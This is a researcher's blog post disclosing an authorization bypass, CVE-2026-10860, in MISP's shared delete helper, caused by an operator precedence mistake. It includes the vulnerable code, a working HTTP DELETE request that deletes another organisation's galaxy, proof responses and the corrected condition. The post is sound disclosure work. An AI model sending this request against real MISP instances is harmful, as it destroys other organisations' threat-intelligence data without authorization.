Overview

a delete bypass in misp through crudcomponent

June 21, 2026
4 min read

TL;DR

I got CVE-2026-10860 in MISP.

The bug sat in the shared delete helper, but the runtime-confirmed impact I cared about was much narrower:

  • low-privileged authenticated user
  • perm_galaxy_editor
  • target galaxy owned by another organisation
  • real HTTP DELETE

That was enough to delete another organisation’s galaxy through:

DELETE /galaxies/delete/{id}.json

The nice part was that the normal POST delete path was denied correctly.

The DELETE path was the one that slipped through.

The bug

The root cause was an operator precedence mistake in CRUDComponent::delete().

The vulnerable condition was:

if ($validationError === null && $this->Controller->request->is('post') || $this->Controller->request->is('delete')) {

Because && binds tighter than ||, that condition is evaluated like this:

if (($validationError === null && is_post) || is_delete) {

So once the request is a real HTTP DELETE, the destructive branch is entered even if the validation callback has already failed.

That is the whole bug.

And in the galaxy case, the failed validation was meaningful.

GalaxiesController::delete() passes a validation callback that ends up checking whether the caller is actually allowed to delete that galaxy. In the validated path, that callback correctly rejected users outside the creator organisation.

The helper just kept going anyway for DELETE.

Why I liked it

I like bugs like this because the negative control is built right into the exploit story.

The app already knew how to say no.

That mattered a lot here.

The exact same attacker, against the exact same galaxy, got denied on the POST path and succeeded on the DELETE path. That makes the bug very easy to defend:

  • row-level auth logic existed
  • validation callback ran
  • denial result was real
  • shared delete helper ignored it for one method

That is much cleaner than a vague “maybe auth is missing somewhere.”

The validated impact

I kept the write-up narrow on purpose.

The shared helper bug could matter in more than one place, but the low-privileged, security-relevant, runtime-confirmed impact I validated was:

unauthorized cross-organisation galaxy deletion

The attacker was:

  • authenticated
  • not a site admin
  • in a different organisation
  • allowed to work with galaxies in general
  • not allowed to delete the victim galaxy

The target galaxy was visible from the listing, but it was not supposed to be modifiable by that user.

The request flow

The interesting part was how the same target behaved differently depending on the HTTP method.

Listing path

The attacker could see the target galaxy through the normal listing:

GET /galaxies/index.json
Authorization: <attacker-auth-key>
Accept: application/json

That gave the attacker a valid target ID to work with.

Negative control: POST delete was denied

POST /galaxies/delete/1.json
Authorization: <attacker-auth-key>
Accept: application/json
Content-Type: application/json

Response:

{
"saved": false,
"name": "Could not delete Galaxy",
"message": "Could not delete Galaxy",
"url": "/galaxies/delete/1",
"errors": "Only the creator organisation can modify the galaxy"
}

That response is important because it proves the intended authorization rule was alive and working.

Exploit: HTTP DELETE bypassed the failed validation

DELETE /galaxies/delete/1.json
Authorization: <attacker-auth-key>
Accept: application/json

Response:

{
"saved": true,
"success": true,
"name": "Galaxy deleted.",
"message": "Galaxy deleted.",
"url": "/galaxies/delete/1",
"id": 1
}

That is the whole exploit in one request.

Post-condition proof

I also verified that this was not just a misleading success message.

Admin view after deletion:

GET /galaxies/view/1.json
Authorization: <site-admin-auth-key>
Accept: application/json

Response:

404 Invalid Galaxy

And the database check confirmed the row was gone:

select count(*) as galaxy_count
from galaxies
where id = 1;

Result:

galaxy_count
0

So the bypass reached the real destructive sink.

Why the galaxy path was the right one to report

I checked other CRUDComponent::delete() call sites because I did not want to overclaim the bug.

There were other places where the same sink was reachable, but they did not all give the same reportable outcome.

The galaxy path was the one that cleanly crossed a real organisation boundary with a low-privileged user and a confirmed destructive result.

That was enough on its own.

Severity and CVE

The public CVE page lists:

  • CVE: CVE-2026-10860
  • Severity: High
  • CVSS v4: 7.9
  • CWE: CWE-863 Incorrect Authorization

The public description talks about the shared delete helper generically.

My write-up here keeps the boundary tighter than that and sticks to the runtime-confirmed galaxy deletion path in MISP 2.5.38.

Fix

The minimum safe fix is to make the validation result apply to both methods:

if ($validationError === null && ($this->Controller->request->is('post') || $this->Controller->request->is('delete'))) {

But the more robust fix is the obvious one: once validation fails, the helper should stop immediately and never continue into any delete branch at all.

Reference

Thanks for reading this blog post all the way to the end